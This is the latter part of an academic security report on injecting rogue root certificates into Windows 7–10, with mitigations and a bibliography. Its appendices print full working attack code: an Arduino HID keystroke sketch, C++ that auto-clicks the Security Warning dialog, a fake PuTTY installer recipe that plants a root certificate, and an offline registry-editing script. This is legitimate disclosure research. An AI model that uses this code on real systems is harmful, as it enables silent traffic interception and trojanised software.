Another solution could be to maintain two lists (pre-installed and user in-stalled root certificates), and warn the user, when he/she logs in, about thefact that a non pre-installed root certificate has been installed. Maybe userswill simply close this warning, but the more educated users might research thisproblem or inform the other people that something is wrong. A similar methodis also used in the Android Operating System. Figure 6.2 displays this securitywarning on Android.

Figure 6.2: Security warning on Android

18

Page 23: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

7. Conclusion

In this research we have analysed the internals of the Windows 7 root certificatestore. Our research question was investigating possible methods of injectingroot certificates into the root certificate stores of Windows 7.

The operating system distinguishes two separate root certificate stores; theuser root certificate store, and the system root certificate store. The user rootcertificate store contains certificates that are trusted by a single user, while thesystem root certificate store contains certificates that are trusted system wide.Every stored certificate is encoded in what Microsoft calls; the certificate BLOBformat.

In this research we proposed two possible attacks to install a root certificatein the system root certificate store. First, by concealing a root certificate insidean MSI installer. Second, we inject a root certificate from outside the operatingsystem utilising a bootable USB thumb drive. The only protection that preventsinstalling a root certificate in the system root certificate store is the requirementof an administrative account.

When a certificate is installed in the user root certificate store, the useris prompted with a security warning dialog box asking the user to confirmthis action. In this research we showed two ways of circumventing this dailog.Our first attack uses HID emulation, where keyboard and mouse inputs areemulated to install a root certificate. We also demonstrate a more sophisticatedattack, based on source code originally published by Alsaid and Mitchell. Thisattack completely hides the dialog box and installs a root certificate withinmilliseconds. The security warning dialog box thus fails its purpose, because auser-level process is allowed to intervene with a dailog belonging to a kernel-levelprocess.

All our attacks have been successfully performed on Windows 7, Windows8(.1), and Windows 10, without any modification required to run on the differentplatforms.

Finally, we proposed mitigations against our attacks. The operating systemshould re-authenticate the user when performing a security sensitive operation.Furthermore, the operating system needs to protect user space processes fromdirectly interacting with GUI elements belonging to kernel space processes. Fi-nally and perhaps most importantly, the operating system should raise aware-ness on trusted certificates.

19

Page 24: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

8. Discussion

An important argument against the offline registry modification attack is; givenphysical access to a system, why only install a root certificate? From an adver-sary’s perspective, root certificates are not evaluated by virus scanners, makingit less likely for the attack to be detected. However, having a root certificateinstalled gives an attacker the opportunity to, for example to eavesdrop oncommunication.

The HID emulation attack is probably hard to perform in a real life scenarioas it is susceptible to user or system interruptions. For example, if a new windowopens during the attack, the keyboard or mouse input will be misdirected. Still,this attacks addresses how little effort it takes to install a root certificate.

In our piggybacking attack, we concealed a root certificate within an MSIinstaller. Of course, installing a root certificate by means of an MSI installeris a built-in feature of the operating system. However, this addresses an issue;system users and owners are not always (made) aware of what installers actuallydo.

The injector binary is the most serious threat, which has not been solvedsince Windows 2000, works on the latest fully patched Windows 10, and isnot detected by virus scanners. The attack shows that the security warningdialog box provides inadequate protection mainly because a user level processcan intervene with it.

Perhaps the most important issue that this research addresses, is that Win-dows users are not made aware of which root certificates are trusted by theirsystem. This research demonstrates that there are multiple (malicious) waysto make a system trust a root certificate, and in some cases even without theuser’s knowledge.

20

Page 25: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

9. Future work

Browser certificate policies As described in section 4.4, Internet Exploreruses verification. Future research could be to investigate these policies anddetermine if any of the policies can be used to make a system trust an invalidcertificate. Additionally, it could be verified if this also applies to Microsoftnewest browser; Edge.

Other operating systems For this research we did not include WindowsServer editions into the project scope. We assume all the mentioned attackswill likely also work on Windows Server, but this has yet to be verified.

Besides the Windows root certificate store, similar research can be conductedon different operating systems, like Mac OSX, Android or iOS.

21

Page 26: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Bibliography

[Cer15] US Cert. Dell Computers Contain CA Root Certificate Vulnerability.Nov. 24, 2015. url: https://www.us-cert.gov/ncas/current-activity/2015/11/24/Dell- Computers- Contain- CA- Root-

Certificate-Vulnerability (visited on 04/10/2016).

[Mic16a] Microsoft. CertAddEncodedCertificateToStore function. 2016. url:https : / / msdn . microsoft . com / en - us / library / windows /

desktop/aa376015(v=vs.85).aspx (visited on 04/10/2016).

[Mic03] Microsoft. CA Certificates Tools and Settings. Mar. 28, 2003. url:https://technet.microsoft.com/en-us/library/cc783813(v=

ws.10).aspx.

[Mic16b] Microsoft. CertGetCertificateChain function. 2016. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa376078(v=

vs.85).aspx (visited on 05/10/2016).

[Mic16c] Microsoft. CertVerifyCertificateChainPolicy function. 2016. url: https://msdn.microsoft.com/en- us/library/windows/desktop/

aa377163(v=vs.85).aspx (visited on 05/10/2016).

[Mic16d] Microsoft. Manage Trusted Root Certificates. 2016. url: https :

//technet.microsoft.com/en-us/library/cc754841(v=ws.11)

.aspx (visited on 05/10/2016).

[AM05] Adil Alsaid and Chris J. Mitchell. “Public Key Infrastructure: Sec-ond European PKI Workshop: Research and Applications, EuroPKI2005, Canterbury, UK, June 30 - July 1, 2005, Revised Selected Pa-pers”. In: ed. by Gansen Chadwick David and Zhao. Berlin, Heidel-berg: Springer Berlin Heidelberg, 2005. Chap. Installing Fake RootKeys in a PC, pp. 227–239. isbn: 978-3-540-31585-8. doi: 10.1007/11533733_16. url: http://dx.doi.org/10.1007/11533733_16.

[VVR15] Stella Vouteva et al. “Feasibility and Deployment of Bad USB”. In:(2015).

[ESE15] ESET. What is Superfish and does ESET protect me from it? Dec. 1,2015. url: http://support.eset.com/kb3663/?locale=en_US(visited on 04/10/2016).

[Hoh] Christian Hohnstadt. X Certificate and key management. url: http://xca.sourceforge.net/ (visited on 05/10/2016).

[Mic] Microsoft. Windows Sysinternals. url: https://technet.microsoft.com/nl-nl/sysinternals/ (visited on 05/10/2016).

22

Page 27: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

[Roh] RohitLab. API Monitor. url: http://www.rohitab.com/apimonitor(visited on 05/10/2016).

[Nic16] NicoHood. HID. 2016. url: https://github.com/NicoHood/HID(visited on 05/10/2016).

[Mag09] Alejandro Campos Magencio. CAPICOM support on Windows 7.2009. url: https://blogs.msdn.microsoft.com/alejacma/

2009 / 10 / 15 / capicom - support - on - windows - 7/ (visited on05/10/2016).

[Mei09] Karin Meier. CAPICOM.dll Removed from Windows SDK for Win-dows 7. 2009. url: https://blogs.msdn.microsoft.com/karinm/2009/01/18/capicom-dll-removed-from-windows-sdk-for-

windows-7/ (visited on 05/10/2016).

[Mic16e] Microsoft. Certificates Tools and Settings. 2016. url: https : / /

technet.microsoft.com/nl-nl/library/cc787544(v=ws.10)

.aspx (visited on 05/10/2016).

[Mic16f] Microsoft. Certificate BLOB Properties. 2016. url: https://msdn.microsoft . com / en - us / library / cc232282 . aspx (visited on05/10/2016).

[Dav13] Davonic. Mouse.move positioning. 2013. url: https://github.

com/arduino/Arduino/issues/1417 (visited on 05/10/2016).

[Wika] Wikipedia. Windows Installer. url: https://en.wikipedia.org/wiki/Windows_Installer (visited on 05/19/2016).

[Kad+14] Christian Kadluba et al. “Windows Installer Security”. In: SixthASE International Conference on Privacy, Security, Risk and Trust(PASSAT 2014). Dec. 2014.

[Wikb] Wikipedia. User Account Control. url: https://en.wikipedia.org/wiki/User_Account_Control (visited on 05/10/2016).

[Cre11] Adrian Crenshaw. “Plug and prey: Malicious USB devices”. In:URL: http://www. irongeek. com/downloads/Malicious% 20USB%20Devices. pdf (Accessed 02 March 2012) (2011).

[DV16] Thom Does and Ruben de Vries. “Mitigating USB Risks Using Poli-cies”. In: (2016).

[Mic16g] Microsoft. Orca.exe. 2016. url: https://msdn.microsoft.com/nl-nl/library/aa370557(v=vs.85).aspx (visited on 05/22/2016).

23

Page 28: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

Appendices

24

Page 29: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

A. HID emulation sketch

The listing below shows the Arduino sketch we created for our HID emulationattack.

1 #include ”HID−Pro j ec t . h”2

3 void setup ( ) {4 Keyboard . begin ( ) ;5 Mouse . begin ( ) ;6 delay (30000) ;7

8 // Open power she l l9 Keyboard . p r e s s (KEY LEFT GUI) ;

10 delay (100) ;11 Keyboard . p r e s s ( ’ r ’ ) ;12 delay (100) ;13 Keyboard . r e l e a s e A l l ( ) ;14 delay (100) ;15 Keyboard . p r i n t ( ” power she l l ” ) ;16 delay (100) ;17 Keyboard . p r e s s (KEY RETURN) ;18 delay (100) ;19 Keyboard . r e l e a s e A l l ( ) ;20 delay (100) ;21 delay (3000) ;22

23 // Send Ce r t i f i c a t e us ing power she l l24 Keyboard . p r i n t ( ”\”−−−−−BEGIN CERTIFICATE−−−−−” ) ;25 // Place Base64 encoded c e r t i f i c a t e here26 Keyboard . p r i n t ( ”−−−−−END CERTIFICATE−−−−−\” | Out−F i l e rootkey .

pem” ) ;27 Keyboard . p r e s s (KEY RETURN) ;28 delay (100) ;29 Keyboard . r e l e a s e A l l ( ) ;30

31 // Send e x p l o i t32 Keyboard . p r i n t ( ” $pfx = new−ob j e c t System . Secur i ty . Cryptography .

X 5 0 9 C e r t i f i c a t e s . X509Cer t i f i c a t e2 ; ” ) ;33 Keyboard . p r e s s (KEY RETURN) ;34 delay (100) ;35 Keyboard . r e l e a s e A l l ( ) ;36 Keyboard . p r i n t ( ” $pfx . import (\” rootkey . pem\”) ; ” ) ;37 Keyboard . p r e s s (KEY RETURN) ;38 delay (100) ;39 Keyboard . r e l e a s e A l l ( ) ;40 Keyboard . p r i n t ( ” $ s t o r e = new−ob j e c t System . Secu r i ty . Cryptography .

X 5 0 9 C e r t i f i c a t e s . X509Store (\” Root \” , \” CurrentUser \”) ; ” ) ;41 Keyboard . p r e s s (KEY RETURN) ;42 delay (100) ;43 Keyboard . r e l e a s e A l l ( ) ;44 Keyboard . p r i n t ( ” $ s t o r e . open (\” MaxAllowed \”) ; ” ) ;45 Keyboard . p r e s s (KEY RETURN) ;46 delay (100) ;47 Keyboard . r e l e a s e A l l ( ) ;48 Keyboard . p r i n t ( ” $ s t o r e . add ( $pfx ) ; ” ) ;

25

Page 30: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

49 Keyboard . p r e s s (KEY RETURN) ;50 delay (100) ;51 Keyboard . r e l e a s e A l l ( ) ;52 Keyboard . p r i n t ( ” $ s t o r e . c l o s e ( ) ; ” ) ;53 Keyboard . p r e s s (KEY RETURN) ;54 delay (100) ;55 Keyboard . r e l e a s e A l l ( ) ;56

57 // Cl i ck c e r t accept window58 // Move mouse to l e f t top corner59 for ( int i =0; i <= 20 ; i++) {60 Mouse . move(−50 , −50) ;61 delay (100) ;62 }63

64 // Move mouse over window65 for ( int i =0; i <= 20 ; i++) {66 Mouse . move (64 , 36) ;67 delay (100) ;68 Mouse . c l i c k ( ) ;69 delay (100) ;70 Keyboard . p r i n t ( ’ y ’ ) ;71 delay (100) ;72 }73 }74

75 void loop ( ) {76 }

26

Page 31: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

B. Injector binary source

The source code below can be compiled using any decent Windows compilercapable of handling C++. In our research we utilised multiple versions of VisualStudio for this purpose.

#include <windows.h>

#include <tchar.h>

#pragma comment (lib, "crypt32.lib")

DWORD APIENTRY EvilThread(LPVOID lpParam)

{

HWND securityDialog = NULL;

// Attempt to get the dialog’s window handle

while (!securityDialog)

{

securityDialog = FindWindow(0, L"Security Warning");

}

// Spoof "Yes" button notification to parent

if (securityDialog)

{

SendMessage(

securityDialog, // Window handle to dialog

WM_COMMAND, // Message type "menu command"

0x00000006, // Hi BN_CLICKED (0x0) + lo ID (0x6)

NULL); // No need for window handle to control

}

return 0;

}

int APIENTRY _tWinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

PCCERT_CONTEXT pCertContext = NULL;

HCERTSTORE hSystemStore = NULL;

HRESULT hr = S_OK;

27

Page 32: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

// Hardcoded certificate string

const char* evilPemCert = "-----BEGIN CERTIFICATE-----...";

try {

BYTE evilDerCert[2048];

DWORD evilDerCertLen = 2048;

// Convert PEM to binary/DER format

CryptStringToBinaryA(

evilPemCert,

0,

CRYPT_STRING_BASE64HEADER,

evilDerCert,

&evilDerCertLen,

NULL,

NULL);

// Create the certificate context

pCertContext = CertCreateCertificateContext(

X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,

evilDerCert,

evilDerCertLen);

if (!pCertContext) {

throw "Could not create certificate context.";

}

// Open the user certificate store

hSystemStore = CertOpenStore(

CERT_STORE_PROV_SYSTEM,

0,

NULL,

CERT_SYSTEM_STORE_CURRENT_USER,

L"ROOT");

if (!hSystemStore) {

throw "Could not open the current user’s certificate store.";

}

DWORD dwThreadId, dwThrdParam = 1;

HANDLE hThread = NULL;

// Create monitoring thread

hThread = CreateThread(

NULL, // Default security attributes

0, // Use default stack size

EvilThread, // Thread function

&dwThrdParam, // Argument to thread function

0, // Use default creation flags

&dwThreadId); // Returns the thread identifier

28

Page 33: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

// Check the return value for success

if (!hThread) {

throw "CreateThread failed.";

}

else {

// Thread is now monitoring the security window...

// Inject certificate to store

CertAddCertificateContextToStore(

hSystemStore,

pCertContext,

CERT_STORE_ADD_REPLACE_EXISTING,

NULL);

CloseHandle(hThread);

}

}

catch (...) {

hr = E_UNEXPECTED;

}

// Clean-up resources

if (hSystemStore) {

CertCloseStore(hSystemStore, 0);

}

if (pCertContext) {

CertFreeCertificateContext(pCertContext);

}

return hr;

}

29

Page 34: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

C. Installer recipe

The XML below is the recipe used in our installer piggyback method. The codecan be compiled using the WiX toolset.

1 <?xml version=” 1 .0 ” encoding=”UTF−8”?>2 <Wix xmlns=” h t tp : // schemas . m i c ro so f t . com/wix /2006/ wi”3 x m l n s : i i s= ’ h t tp : // schemas . m i c ro so f t . com/wix/ I I sExtens i on ’>4

5 <Product Id=”∗”6 Name=”PuTTY”7 Language=”1033”8 Vers ion=” 0 .67 ”9 Manufacturer=”Not Simon Tatham”

10 UpgradeCode=”431 eb641−dbb3−409c−bd32−eae4e1183c4a ”>11

12 <Package Compressed=” yes ”13 I n s t a l l e r V e r s i o n=”200”14 I n s t a l l S c o p e=”perMachine”15 Manufacturer=”Not Chiark ”16 Desc r ip t i on=”PuTTY I n s t a l l e r ”17 Comments=” ( c ) 2016 Not Chiark ” />18

19 < !−− F i l e s w i l l be embedded in to the i n s t a l l e r −−>20 <Media Id=”1” Cabinet=” Appl i ca t ion . cab” EmbedCab=” yes ”/>21

22 <Feature Id=” ProductFeature ”23 T i t l e=”Main Appl i ca t ion ” Leve l=”1”>24 <ComponentGroupRef Id=” A p p l i c a t i o n F i l e s ” />25 </ Feature>26

27 < !−− Icons −−>28 <Icon Id=” putty . exe ” SourceF i l e=” putty . exe ” />29

30 < !−− Set the add/remove programs icon −−>31 <Property Id=”ARPPRODUCTICON” Value=” putty . exe ” />32 </Product>33

34 < !−− Directory s t r u c t u r e −−>35 <Fragment>36 <Direc to ry Id=”TARGETDIR” Name=” SourceDir ”>37 <Direc to ry Id=” ProgramFi lesFolder ”>38 <Direc to ry Id=”INSTALLFOLDER” Name=” Chiark ” />39 </ Di rec to ry>40 <Direc to ry Id=” DesktopFolder ” Name=”Desktop” />41 </ Di rec to ry>42 </Fragment>43

44 <Fragment>45 <ComponentGroup Id=” A p p l i c a t i o n F i l e s ”46 Direc to ry=”INSTALLFOLDER”>47 < !−− Main exe cu t a b l e −−>48 <Component Id=” A p p l i c a t i o n F i l e s ”49 Guid=”7 c280cc f −70df−449b−83d4−d5b77ec12070 ”>50 <F i l e Id=”FIL 5E095628A3394F34B908696BFF72177D”51 Source=” putty . exe ”

30

Page 35: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

52 KeyPath=” yes ”>53 <Shortcut Id=” DesktopShortcut ”54 Direc to ry=” DesktopFolder ”55 Name=”PuTTY”56 WorkingDirectory=”INSTALLFOLDER”57 Icon=” putty . exe ”58 IconIndex=”0”59 Advert i s e=” yes ” />60 </ F i l e>61 </Component>62

63 < !−− Root c e r t i f i c a t e−−>64 <Component Id=” FakeRootCer t i f i ca te ”65 Guid=”67 b234fd−d8ac−46cb−9846−e29e f6261a fd ”66 Permanent=” yes ”>67 <F i l e Id=”FIL 99613653C8EB41419AAC4035DBFAED03”68 Name=” putty . c e r ”69 Source=” putty . c e r ” />70 < i i s : C e r t i f i c a t e Id=”FakeRootCert”71 StoreName=” root ”72 Overwrite=” yes ”73 Name=”PuTTY Root Authority ”74 Request=”no”75 BinaryKey=”MyFakeRoot . Binary ”76 StoreLocat ion=” loca lMachine ” />77 </Component>78 </ComponentGroup>79

80 < !−− Ce r t i f i c a t e b inary f i l e −−>81 <Binary Id=”MyFakeRoot . Binary ” SourceF i l e=” putty . c e r ” />82 </Fragment>83 </Wix>

31

Page 36: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

D. Offline injector code

The C++ code below can be compiled as a console application in any suitableWindows compiler. It generates certificate BLOB data in hexadecimal format.

D.1 Certificate encoder source

#include <fstream>

#include <iostream>

#include <iomanip>

#include <sstream>

#include <vector>

#include <map>

#include <stdio.h>

#include <windows.h>

#include <tchar.h>

#pragma comment (lib, "crypt32.lib")

int main()

{

const int MAX_CERT_FILE_SIZE = 81920;

DWORD certEncodedRead = 0L;

BYTE certData[MAX_CERT_FILE_SIZE] = { 0 };

PCCERT_CONTEXT pCertContext = NULL;

HCERTSTORE hSystemStore = NULL;

int exitCode = 0;

// Evil cert in code

const char* evilPemCert = "-----BEGIN CERTIFICATE-----...";

try {

BYTE evilDerCert[2048];

DWORD evilDerCertLen = 2048;

// Convert PEM to binary/DER format

CryptStringToBinaryA(

evilPemCert,

0,

CRYPT_STRING_BASE64HEADER,

32

Page 37: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

evilDerCert,

&evilDerCertLen,

NULL,

NULL);

// Create the certificate context

pCertContext = CertCreateCertificateContext(

X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,

evilDerCert,

evilDerCertLen);

if (!pCertContext) {

throw "Could not create certificate context.";

}

// Not an actual property but necessary to create BLOB

const DWORD KEY_ID_FILE_ELEMENT_ID = 32;

// Properties we are interested in...

std::map<std::string, DWORD> propMap;

// Check if sequence matches, for all properties see wincrypt.h

propMap["01_MD5_HASH"] =

CERT_MD5_HASH_PROP_ID; // 16-byte

propMap["02_SIGNATURE_HASH"] =

CERT_SIGNATURE_HASH_PROP_ID; // 20-byte SHA-1

propMap["03_KEY_IDENTIFIER"] =

CERT_KEY_IDENTIFIER_PROP_ID; // 20-byte SHA-1

propMap["04_SUBJECT_PUBLIC_KEY_MD5_HASH"] =

CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID; // 16-byte

propMap["05_SHA1_HASH"] =

CERT_SHA1_HASH_PROP_ID; // 20-byte SHA-1

propMap["06_KEY_ID_FILE_ELEMENT_ID"] =

KEY_ID_FILE_ELEMENT_ID; // definition above...

std::ostringstream certBlobStream;

for (std::map<std::string, DWORD>::iterator it = propMap.begin();

it != propMap.end(); ++it)

{

BYTE* pvData = NULL;

DWORD cbData = 0L;

DWORD dwPropId = it->second;

// First call to init the size

CertGetCertificateContextProperty(

pCertContext,

dwPropId,

pvData,

&cbData);

33

Page 38: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

// Allocate memory and set pointer

pvData = (BYTE*)malloc(cbData);

// Second call to actually read the data

CertGetCertificateContextProperty(

pCertContext,

dwPropId,

pvData,

&cbData);

// Copy data into buffer

std::vector<BYTE> propData;

propData.resize(cbData);

std::copy(pvData, pvData + cbData, propData.begin());

std::ostringstream hexStream;

// Hex string configuration

hexStream << std::hex << std::setfill(’0’);

// Property ID with appended zeroes

hexStream << std::setw(2) << dwPropId << "000000";

// Reserved for...?

hexStream << "01000000";

if (it->second != KEY_ID_FILE_ELEMENT_ID)

{

// Property length (always 16 or 20 byte in this case so append)

hexStream << propData.size() << "000000";

// Property data

for (size_t i = 0; i < propData.size(); ++i)

{

hexStream << std::setw(2) << static_cast<int>(propData[i]);

}

}

else

{

// Appears to be static value

hexStream << 0xac030000;

}

certBlobStream << it->first << "\n" << hexStream.str() << "\n";

}

std::ostringstream certHexStream;

// Hex string configuration

34

Page 39: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

certHexStream << std::hex << std::setfill(’0’);

for (size_t i = 0; i < pCertContext->cbCertEncoded; ++i)

{

certHexStream << std::setw(2) << (int)(pCertContext->

pbCertEncoded[i]);

}

certBlobStream << "START_CERT" << "\n" << certHexStream.str();

std::string certBlob = certBlobStream.str();

// Output to working directory

wchar_t currentDir[MAX_PATH + 1];

GetCurrentDirectory(sizeof(currentDir), currentDir);

std::wstring outPath(currentDir);

outPath.append(L"\\blob.txt");

std::ofstream outFile(outPath);

if (outFile.is_open())

{

outFile << certBlob;

outFile.close();

}

else

{

std::cout << "Unable to open file";

}

}

catch (const char* msg) {

std::cout << msg << std::endl;

exitCode = 1;

}

// Clean-up all resources

if (hSystemStore) {

std::cout << "Closing certificate store..." << std::endl;

CertCloseStore(hSystemStore, 0);

}

if (pCertContext) {

std::cout << "Freeing certificate store..." << std::endl;

CertFreeCertificateContext(pCertContext);

}

return exitCode;

}

35

Page 40: Root certi cate injection on Windows 7 - OS3 · installer. Our nal attack uses a bootable USB to install a certi cate from outside the victim’s operating system. All four attacks

D.2 Registry editing script

The listing below contains the full script for the offline registry attack. Thisscript can be run from any Linux environment which has the chntpw utilityinstalled, for example, Arch Linux.

1 #!/ bin /sh2 mount /dev/ sda2 /mnt3 cd /mnt4 reged −Ce Windows/System32/ c o n f i g /SOFTWARE <<EOF5 cd Mic roso f t6 cd S y s t e m C e r t i f i c a t e s7 cd ROOT8 cd C e r t i f i c a t e s9 nk 8F51D205CBE36F6560583A1861F3DF56D2FEBE9F

10 cd 8F51D205CBE36F6560583A1861F3DF56D2FEBE9F11 nv 3 Blob12 ed Blob13 107614 : 00000 19 00 00 00 01 00 00 00 10 00 00 00 72 1D A2 0115

16 . . .17

18 Add C e r t i f i c a t e BLOB here19

20 . . .21

22 : 00430 3B FA CF 2723 s24 q25 EOF

36